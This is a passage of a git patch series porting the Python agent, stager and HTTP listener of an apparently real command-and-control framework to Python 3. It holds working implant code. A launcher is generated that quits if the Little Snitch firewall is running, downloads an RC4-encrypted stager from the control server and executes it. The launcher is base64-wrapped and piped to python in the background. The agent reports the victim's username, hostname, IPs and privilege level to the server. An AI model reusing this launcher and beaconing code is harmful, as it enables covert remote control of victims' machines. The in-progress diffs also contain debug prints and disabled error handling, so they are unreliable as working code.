From bbbc722ca58b6105f196871b46de215c0bccc2e1 Mon Sep 17 00:00:00 2001 From: roseaj Date: Tue, 31 Dec 2019 02:12:38 -0500 Subject: [PATCH 01/17] initial python fixes --- data/agent/stagers/common/aes.py | 8 -- data/agent/stagers/common/diffiehellman.py | 5 -- data/agent/stagers/common/rc4.py | 3 - data/agent/stagers/http.py | 2 + lib/common/agents.py | 96 +++++++++++----------- lib/common/empire.py | 6 +- lib/listeners/http.py | 27 +++--- 7 files changed, 69 insertions(+), 78 deletions(-) diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index dbb73beed..3d35ad95b 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -2,14 +2,6 @@ Implements AES in python as a jinja2 partial. AES code from https://github.com/ricmoo/pyaes """ - -from builtins import bytes -from builtins import chr -from builtins import zip -from builtins import str -from builtins import range -from builtins import object -import copy import struct import hashlib import random diff --git a/data/agent/stagers/common/diffiehellman.py b/data/agent/stagers/common/diffiehellman.py index cbfe696dc..2f6c4f353 100644 --- a/data/agent/stagers/common/diffiehellman.py +++ b/data/agent/stagers/common/diffiehellman.py @@ -1,10 +1,5 @@ """ Implements Diffie-Hellman as a Jinja2 partial for use in stagers DH code from: https://github.com/lowazo/pyDHE """ -from __future__ import print_function - -from builtins import bytes -from builtins import str -from builtins import object import os import hashlib diff --git a/data/agent/stagers/common/rc4.py b/data/agent/stagers/common/rc4.py index ad76f7861..ca6c64f92 100644 --- a/data/agent/stagers/common/rc4.py +++ b/data/agent/stagers/common/rc4.py @@ -1,6 +1,3 @@ -from __future__ import print_function -from builtins import chr -from builtins import range import os import struct diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py index 4a9579ad3..5e132ea19 100644 --- a/data/agent/stagers/http.py +++ b/data/agent/stagers/http.py @@ -10,7 +10,9 @@ stage_1 stage_2 """ +from __future__ import print_function +import copy import random import string import urllib2 diff --git a/lib/common/agents.py b/lib/common/agents.py index 9e5206b28..245c3a2a2 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1395,59 +1395,24 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s if isinstance(sessionKey, str): sessionKey = (self.agents[sessionID]['sessionKey']).encode('UTF-8') - try: - message = encryption.aes_decrypt_and_verify(sessionKey, encData) - parts = message.split(b'|') - - if len(parts) < 12: - message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message) - signal = json.dumps({ - 'print': True, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # remove the agent from the cache/database - self.mainMenu.agents.remove_agent_db(sessionID) - return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message) - - # verify the nonce - if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1): - message = "[!] Invalid nonce returned from {}".format(sessionID) - signal = json.dumps({ - 'print': True, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # remove the agent from the cache/database - self.mainMenu.agents.remove_agent_db(sessionID) - return "ERROR: Invalid nonce returned from %s" % (sessionID) + #try: + message = encryption.aes_decrypt_and_verify(sessionKey, encData) + parts = message.split(b'|') - message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) + if len(parts) < 12: + message = "[!] Agent {} posted invalid sysinfo checkin format: {}".format(sessionID, message) signal = json.dumps({ - 'print': False, + 'print': True, 'message': message }) dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # remove the agent from the cache/database + self.mainMenu.agents.remove_agent_db(sessionID) + return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message) - listener = str(parts[1], 'utf-8') - domainname = str(parts[2], 'utf-8') - username = str(parts[3], 'utf-8') - hostname = str(parts[4], 'utf-8') - external_ip = clientIP - internal_ip = str(parts[5], 'utf-8') - os_details = str(parts[6], 'utf-8') - high_integrity = str(parts[7], 'utf-8') - process_name = str(parts[8], 'utf-8') - process_id = str(parts[9], 'utf-8') - language = str(parts[10], 'utf-8') - language_version = str(parts[11], 'utf-8') - if high_integrity == "True": - high_integrity = 1 - else: - high_integrity = 0 - - except Exception as e: - message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e) + # verify the nonce + if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1): + message = "[!] Invalid nonce returned from {}".format(sessionID) signal = json.dumps({ 'print': True, 'message': message @@ -1455,7 +1420,42 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s dispatcher.send(signal, sender="agents/{}".format(sessionID)) # remove the agent from the cache/database self.mainMenu.agents.remove_agent_db(sessionID) - return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e) + return "ERROR: Invalid nonce returned from %s" % (sessionID) + + message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(sessionID, message) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + + listener = str(parts[1], 'utf-8') + domainname = str(parts[2], 'utf-8') + username = str(parts[3], 'utf-8') + hostname = str(parts[4], 'utf-8') + external_ip = clientIP + internal_ip = str(parts[5], 'utf-8') + os_details = str(parts[6], 'utf-8') + high_integrity = str(parts[7], 'utf-8') + process_name = str(parts[8], 'utf-8') + process_id = str(parts[9], 'utf-8') + language = str(parts[10], 'utf-8') + language_version = str(parts[11], 'utf-8') + if high_integrity == "True": + high_integrity = 1 + else: + high_integrity = 0 + + #except Exception as e: + # message = "[!] Exception in agents.handle_agent_staging() for {} : {}".format(sessionID, e) + # signal = json.dumps({ + # 'print': True, + # 'message': message + # }) + # dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # # remove the agent from the cache/database + # self.mainMenu.agents.remove_agent_db(sessionID) + # return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e) if domainname and domainname.strip() != '': username = "%s\\%s" % (domainname, username) diff --git a/lib/common/empire.py b/lib/common/empire.py index f9dba58c6..98bf48cdc 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -394,9 +394,9 @@ def cmdloop(self): except NavListeners as e: self.menu_state = "Listeners" - except Exception as e: - print(helpers.color("[!] Exception: %s" % (e))) - time.sleep(5) + #except Exception as e: + # print(helpers.color("[!] Exception: %s" % (e))) + # time.sleep(5) def print_topics(self, header, commands, cmdlen, maxcol): diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 6c362e1e1..8f5a94dfd 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -448,11 +448,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') - b64RoutingPacket = base64.b64encode(routingPacket) + b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8') launcherBase += "req=urllib2.Request(server+t);\n" - # add the RC4 packet to a cookie - launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: @@ -461,23 +459,31 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", headerValue = header.split(':')[1] # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) - + if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" - + if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" + + # add the RC4 packet to a cookie + launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( + b64RoutingPacket) else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + + # add the RC4 packet to a cookie + launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( + b64RoutingPacket) else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: @@ -507,7 +513,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", launcherBase += "exec(''.join(out))" if encode: - launchEncoded = base64.b64encode(launcherBase) + launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8') launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % ( launchEncoded) return launcher @@ -627,17 +633,18 @@ def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate 'stage_1': stage1, 'stage_2': stage2 } - + stager = template.render(template_options) stager = obfuscation.py_minify(stager) - + # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) - return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) + + return RC4IV + encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), stager.encode('UTF-8')) else: # otherwise return the standard stager return stager @@ -837,14 +844,12 @@ def generate_comms(self, listenerOptions, language=None): if listenerOptions['Host']['Value'].startswith('https'): updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None" - print('listeners/http.py: line 851') sendMessage = """ def send_message(packets=None): # Requests a tasking or posts data to a randomized tasking URI. # If packets == None, the agent GETs a tasking from the control server. # If packets != None, the agent encrypts the passed packets and # POSTs the data to the control server. - global missedCheckins global server global headers From 8da5503b63531b7be18c840af1a04dd871ddceff Mon Sep 17 00:00:00 2001 From: roseaj Date: Tue, 31 Dec 2019 17:17:21 -0500 Subject: [PATCH 02/17] Fixed python agent callback --- data/agent/stagers/common/aes.py | 86 +++++++++++------------- data/agent/stagers/common/get_sysinfo.py | 7 +- data/agent/stagers/common/rc4.py | 61 ++++++++++++----- data/agent/stagers/http.py | 7 +- lib/common/agents.py | 24 +++---- lib/common/encryption.py | 5 +- lib/common/messages.py | 1 - lib/common/packets.py | 2 +- lib/listeners/http.py | 51 +++++++------- 9 files changed, 133 insertions(+), 111 deletions(-) diff --git a/data/agent/stagers/common/aes.py b/data/agent/stagers/common/aes.py index 3d35ad95b..92e5b5d27 100644 --- a/data/agent/stagers/common/aes.py +++ b/data/agent/stagers/common/aes.py @@ -6,10 +6,7 @@ import hashlib import random import hmac - - -def _concat_list(a, b): - return a + b +import os def to_bufferable(binary): return binary @@ -23,40 +20,10 @@ def _bytes_to_string(binary): def _string_to_bytes(text): return list(ord(c) for c in text) -def _compact_word(word): - return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] - -# Python 3 compatibility -try: - xrange -except Exception: - xrange = range - - # Python 3 supports bytes, which is already an array of integers - def _string_to_bytes(text): - if isinstance(text, bytes): - return text - return [ord(c) for c in text] - - # In Python 3, we return bytes - def _bytes_to_string(binary): - return bytes(binary) - - # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first - def _concat_list(a, b): - return a + bytes(b) - - def to_bufferable(binary): - if isinstance(binary, bytes): - return binary - return bytes(ord(b) for b in binary) - - def _get_byte(c): - return c def append_PKCS7_padding(data): pad = 16 - (len(data) % 16) - return data + to_bufferable(chr(pad) * pad) + return data + to_bufferable(chr(pad).encode('UTF-8') * pad) def strip_PKCS7_padding(data): if len(data) % 16 != 0: @@ -65,6 +32,9 @@ def strip_PKCS7_padding(data): pad = _get_byte(data[-1]) return data[:-pad] +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + class AES(object): '''Encapsulates the AES block cipher. @@ -295,7 +265,9 @@ def __init__(self, key, iv=None): elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: - self._last_cipherblock = _string_to_bytes(iv) + if isinstance(iv, str): + self._last_cipherblock = _string_to_bytes(iv) + self._last_cipherblock = iv AESBlockModeOfOperation.__init__(self, key) @@ -303,7 +275,7 @@ def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') - plaintext = _string_to_bytes(plaintext) + plaintext = plaintext precipherblock = [(p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock)] self._last_cipherblock = self._aes.encrypt(precipherblock) @@ -313,7 +285,7 @@ def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') - cipherblock = _string_to_bytes(ciphertext) + cipherblock = ciphertext plaintext = [(p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock)] self._last_cipherblock = cipherblock @@ -322,17 +294,19 @@ def decrypt(self, ciphertext): def CBCenc(aesObj, plaintext, base64=False): - # First we padd the plaintext + # First we pad the plaintext paddedPlaintext = append_PKCS7_padding(plaintext) # The we break the padded plaintext in 16 byte chunks blocks = [paddedPlaintext[0+i:16+i] for i in range(0, len(paddedPlaintext), 16)] # Finally we encypt each block - ciphertext = "" + #ciphertext = "" + ciphertext = ("") for block in blocks: - ciphertext += aesObj.encrypt(block) - + ciphertext = "".join([ciphertext, aesObj.encrypt(block)]) + #ciphertext += aesObj.encrypt(block) + ciphertext = ciphertext.encode('latin-1') return ciphertext @@ -362,17 +336,28 @@ def aes_encrypt(key, data): Generate a random IV and new AES cipher object with the given key, and return IV + encryptedData. """ - IV = getIV() + if isinstance(data, str): + data = data.encode('UTF-8') + if isinstance(key, str): + key = key.encode('UTF-8') + IV = os.urandom(16) aes = AESModeOfOperationCBC(key, iv=IV) - return IV + CBCenc(aes, data) - + CBC = CBCenc(aes, data) + if isinstance(CBC, str): + CBC = CBC.encode('UTF-8') + return IV + CBC def aes_encrypt_then_hmac(key, data): """ Encrypt the data then calculate HMAC over the ciphertext. """ + if isinstance(key, str): + key = bytes(key, 'UTF-8') + if isinstance(data, str): + data = bytes(data, 'UTF-8') + data = aes_encrypt(key, data) - mac = hmac.new(str(key), data, hashlib.sha256).digest() + mac = hmac.new(key, data, hashlib.sha256).digest() return data + mac[0:10] @@ -390,13 +375,16 @@ def verify_hmac(key, data): """ Verify the HMAC supplied in the data with the given key. """ + if isinstance(key, str): + key = bytes(key, 'latin-1') + if len(data) > 20: mac = data[-10:] data = data[:-10] expected = hmac.new(key, data, hashlib.sha256).digest()[0:10] # Double HMAC to prevent timing attacks. hmac.compare_digest() is # preferable, but only available since Python 2.7.7. - return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + return hmac.new(key, expected).digest() == hmac.new(key, mac).digest() else: return False @@ -405,6 +393,10 @@ def aes_decrypt_and_verify(key, data): """ Decrypt the data, but only if it has a valid MAC. """ + if len(data) > 32 and verify_hmac(key, data): + if isinstance(key, str): + key = bytes(key, 'latin-1') return aes_decrypt(key, data[:-10]) raise Exception("Invalid ciphertext received.") + diff --git a/data/agent/stagers/common/get_sysinfo.py b/data/agent/stagers/common/get_sysinfo.py index a0a4d446e..1ee9df28f 100644 --- a/data/agent/stagers/common/get_sysinfo.py +++ b/data/agent/stagers/common/get_sysinfo.py @@ -55,10 +55,9 @@ def get_sysinfo(nonce='00000000'): cmd = 'ps %s' % (os.getpid()) ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = ps.communicate() - parts = out.split("\n") + parts = out.split(b"\n") if len(parts) > 2: - processName = " ".join(parts[1].split()[4:]) + processName = b" ".join(parts[1].split()[4:]) else: processName = 'python' - - return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion) + return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID.decode('UTF'), language, pyVersion) diff --git a/data/agent/stagers/common/rc4.py b/data/agent/stagers/common/rc4.py index ca6c64f92..f69a688f1 100644 --- a/data/agent/stagers/common/rc4.py +++ b/data/agent/stagers/common/rc4.py @@ -27,20 +27,32 @@ def rc4(key, data): """ - Decrypt/encrypt the passed data using RC4 and the given key. + RC4 encrypt/decrypt the given data input with the specified key. + + From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python """ - S,j,out=list(range(256)),0,[] + S, j, out = list(range(256)), 0, [] + # This might break python 2.7 + key = bytearray(key) + # KSA Phase for i in range(256): - j=(j+S[i]+ord(key[i%len(key)]))%256 - S[i],S[j]=S[j],S[i] - i=j=0 - for char in data: - i=(i+1)%256 - j=(j+S[i])%256 - S[i],S[j]=S[j],S[i] - out.append(chr(ord(char)^S[(S[i]+S[j])%256])) - return ''.join(out) + j = (j + S[i] + key[i % len(key)]) % 256 + S[i], S[j] = S[j], S[i] + # this might also break python 2.7 + #data = bytearray(data) + # PRGA Phase + i = j = 0 + for char in data: + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + if sys.version[0] == "2": + char = ord(char) + out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1')) + #out = str(out) + tmp = b''.join(out) + return tmp def parse_routing_packet(stagingKey, data): """ @@ -79,8 +91,8 @@ def parse_routing_packet(stagingKey, data): RC4IV = data[0+offset:4+offset] RC4data = data[4+offset:20+offset] - routingPacket = rc4(RC4IV+stagingKey, RC4data) - sessionID = routingPacket[0:8] + routingPacket = rc4(RC4IV+stagingKey.encode('UTF-8'), RC4data) + sessionID = routingPacket[0:8].decode('UTF-8') # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) @@ -135,10 +147,29 @@ def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData='' # binary pack all of the passed config values as unsigned numbers # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long - data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData)) + if isinstance(sessionID, str): + sessionID = sessionID.encode('UTF-8') + data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData)) RC4IV = os.urandom(4) + + if isinstance(data, str): + data = data.encode('UTF-8') + if isinstance(stagingKey, str): + stagingKey = stagingKey.encode('UTF-8') + if isinstance(RC4IV, str): + RC4IV = RC4IV.encode('UTF-8') + if isinstance(encData, str): + encData = encData.encode('UTF-8') + key = RC4IV + stagingKey + + if isinstance(key, str): + key = key.encode('UTF-8') + rc4EncData = rc4(key, data) + + if isinstance(rc4EncData, str): + rc4EncData = rc4EncData.encode('UTF-8') packet = RC4IV + rc4EncData + encData - return packet + return packet \ No newline at end of file diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py index 5e132ea19..dcefeaaac 100644 --- a/data/agent/stagers/http.py +++ b/data/agent/stagers/http.py @@ -15,7 +15,7 @@ import copy import random import string -import urllib2 +import urllib.request as urllib {% include 'common/rc4.py' %} {% include 'common/aes.py' %} @@ -24,10 +24,10 @@ def post_message(uri, data): global headers - return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() + return (urllib.urlopen(urllib.Request(uri, data, headers))).read() # generate a randomized sessionID -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8)) +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) # server configuration information stagingKey = '{{ staging_key }}' @@ -99,4 +99,5 @@ def post_message(uri, data): agent = aes_decrypt_and_verify(key, response) agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours) agent = agent.replace('REPLACE_KILLDATE', KillDate) + exec(agent) diff --git a/lib/common/agents.py b/lib/common/agents.py index 245c3a2a2..6600ec51d 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1257,18 +1257,18 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s dispatcher.send(signal, sender="agents/{}".format(sessionID)) # decrypt the agent's public key - try: - message = encryption.aes_decrypt_and_verify(stagingKey, encData) - except Exception as e: - print('exception e:' + str(e)) - # if we have an error during decryption - message = "[!] HMAC verification failed from '{}'".format(sessionID) - signal = json.dumps({ - 'print': True, - 'message': message - }) - dispatcher.send(signal, sender="agents/{}".format(sessionID)) - return 'ERROR: HMAC verification failed' + #try: + message = encryption.aes_decrypt_and_verify(stagingKey, encData) + # except Exception as e: + # print('exception e:' + str(e)) + # # if we have an error during decryption + # message = "[!] HMAC verification failed from '{}'".format(sessionID) + # signal = json.dumps({ + # 'print': True, + # 'message': message + # }) + # dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # return 'ERROR: HMAC verification failed' if language.lower() == 'powershell': # strip non-printable characters diff --git a/lib/common/encryption.py b/lib/common/encryption.py index 4a7f53521..46af5bb20 100644 --- a/lib/common/encryption.py +++ b/lib/common/encryption.py @@ -169,16 +169,16 @@ def aes_decrypt(key, data): Generate an AES cipher object, pull out the IV from the data and return the unencrypted data. """ - if len(data) > 16: backend = default_backend() IV = data[0:16] cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) + print(len(data)) + print(len(data[16:])) decryptor = cipher.decryptor() pt = depad(decryptor.update(data[16:]) + decryptor.finalize()) return pt - def verify_hmac(key, data): """ Verify the HMAC supplied in the data with the given key. @@ -201,7 +201,6 @@ def aes_decrypt_and_verify(key, data): """ Decrypt the data, but only if it has a valid MAC. """ - if len(data) > 32 and verify_hmac(key, data): if isinstance(key, str): key = bytes(key, 'latin-1') diff --git a/lib/common/messages.py b/lib/common/messages.py index 7cc5bd70f..c10f175ec 100644 --- a/lib/common/messages.py +++ b/lib/common/messages.py @@ -184,7 +184,6 @@ def display_agents(agents): print(" ---- -- ----------- ------------ -------- ------- --- ----- --------- ----------------") for agent in agents: - if str(agent['high_integrity']) == '1': # add a * to the username if it's high integrity agent['username'] = '*' + str(agent['username']) diff --git a/lib/common/packets.py b/lib/common/packets.py index e0487c2ee..e61ec2d7d 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -359,7 +359,7 @@ def build_routing_packet(stagingKey, sessionID, language, meta="NONE", additiona rc4EncData = encryption.rc4(key, data) # return an rc4 encyption of the routing packet, append an HMAC of the packet, then the actual encrypted data if isinstance(encData, str) and sys.version[0] != "2": - encData = encData.encode('UTF-8') + encData = encData.encode('Latin-1') packet = RC4IV + rc4EncData + encData return packet diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 8f5a94dfd..e8af5a2cc 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -431,7 +431,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" - launcherBase += "if re.search(\"Little Snitch\", out):\n" + launcherBase += "if re.search(\"Little Snitch\", out.decode('UTF-8')):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) @@ -441,7 +441,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] - launcherBase += "import urllib2;\n" + launcherBase += "import urllib.request as urllib;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) @@ -450,7 +450,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8') - launcherBase += "req=urllib2.Request(server+t);\n" + launcherBase += "req=urllib.Request(server+t);\n" # Add custom headers if any if customHeaders != []: @@ -462,14 +462,14 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib2.ProxyHandler();\n" + launcherBase += "proxy = urllib.ProxyHandler();\n" else: proto = proxy.split(':')[0] - launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" + launcherBase += "proxy = urllib.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": - launcherBase += "o = urllib2.build_opener(proxy);\n" + launcherBase += "o = urllib.build_opener(proxy);\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( @@ -479,37 +479,37 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" - launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" + launcherBase += "o = urllib.build_opener(proxy, proxy_auth_handler);\n" # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) else: - launcherBase += "o = urllib2.build_opener(proxy);\n" + launcherBase += "o = urllib.build_opener(proxy);\n" else: - launcherBase += "o = urllib2.build_opener();\n" + launcherBase += "o = urllib.build_opener();\n" # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib2.install_opener(o);\n" + launcherBase += "urllib.install_opener(o);\n" # download the stager and extract the IV - launcherBase += "a=urllib2.urlopen(req).read();\n" + launcherBase += "a=urllib.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" - launcherBase += "key=IV+'%s';" % (stagingKey) + launcherBase += "key=IV+'%s'.encode('UTF-8');" % (stagingKey) # RC4 decryption - launcherBase += "S,j,out=range(256),0,[]\n" - launcherBase += "for i in range(256):\n" - launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" + launcherBase += "S,j,out=list(range(256)),0,[]\n" + launcherBase += "for i in list(range(256)):\n" + launcherBase += " j=(j+S[i]+key[i%len(key)])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" - launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" + launcherBase += " out.append(chr(char^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: @@ -839,7 +839,6 @@ def generate_comms(self, listenerOptions, language=None): return updateServers + getTask + sendMessage elif language.lower() == 'python': - updateServers = "server = '%s'\n" % (listenerOptions['Host']['Value']) if listenerOptions['Host']['Value'].startswith('https'): @@ -854,7 +853,7 @@ def send_message(packets=None): global server global headers global taskURIs - + data = None if packets: data = ''.join(packets) @@ -865,18 +864,19 @@ def send_message(packets=None): # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) - b64routingPacket = base64.b64encode(routingPacket) - headers['Cookie'] = \"""" + self.session_cookie + """=%s" % (b64routingPacket) + b64routingPacket = base64.b64encode(routingPacket).decode('UTF-8') + headers['Cookie'] = \"""" + self.session_cookie + """session=%s" % (b64routingPacket) taskURI = random.sample(taskURIs, 1)[0] requestUri = server + taskURI - + try: - data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read() + data = (urllib.urlopen(urllib.Request(requestUri, data, headers))).read() return ('200', data) - except urllib2.HTTPError as HTTPError: - # if the server is reached, but returns an erro (like 404) + except urllib.HTTPError as HTTPError: + print("line 880") + # if the server is reached, but returns an error (like 404) missedCheckins = missedCheckins + 1 #if signaled for restaging, exit. if HTTPError.code == 401: @@ -884,7 +884,7 @@ def send_message(packets=None): return (HTTPError.code, '') - except urllib2.URLError as URLerror: + except urllib.URLError as URLerror: # if the server cannot be reached missedCheckins = missedCheckins + 1 return (URLerror.reason, '') @@ -1126,6 +1126,7 @@ def handle_post(request_uri): for (language, results) in dataResults: if isinstance(results, str): results = results.encode('UTF-8') + if results: if results.startswith(b'STAGE2'): # TODO: document the exact results structure returned From 99c473bf3cf3db2e98109c2de33f8904cad4246c Mon Sep 17 00:00:00 2001 From: roseaj Date: Tue, 31 Dec 2019 17:23:37 -0500 Subject: [PATCH 03/17] Re-added exception handling --- lib/common/agents.py | 24 ++++++++++++------------ lib/common/encryption.py | 2 -- lib/listeners/http.py | 1 - 3 files changed, 12 insertions(+), 15 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 6600ec51d..245c3a2a2 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1257,18 +1257,18 @@ def handle_agent_staging(self, sessionID, language, meta, additional, encData, s dispatcher.send(signal, sender="agents/{}".format(sessionID)) # decrypt the agent's public key - #try: - message = encryption.aes_decrypt_and_verify(stagingKey, encData) - # except Exception as e: - # print('exception e:' + str(e)) - # # if we have an error during decryption - # message = "[!] HMAC verification failed from '{}'".format(sessionID) - # signal = json.dumps({ - # 'print': True, - # 'message': message - # }) - # dispatcher.send(signal, sender="agents/{}".format(sessionID)) - # return 'ERROR: HMAC verification failed' + try: + message = encryption.aes_decrypt_and_verify(stagingKey, encData) + except Exception as e: + print('exception e:' + str(e)) + # if we have an error during decryption + message = "[!] HMAC verification failed from '{}'".format(sessionID) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + return 'ERROR: HMAC verification failed' if language.lower() == 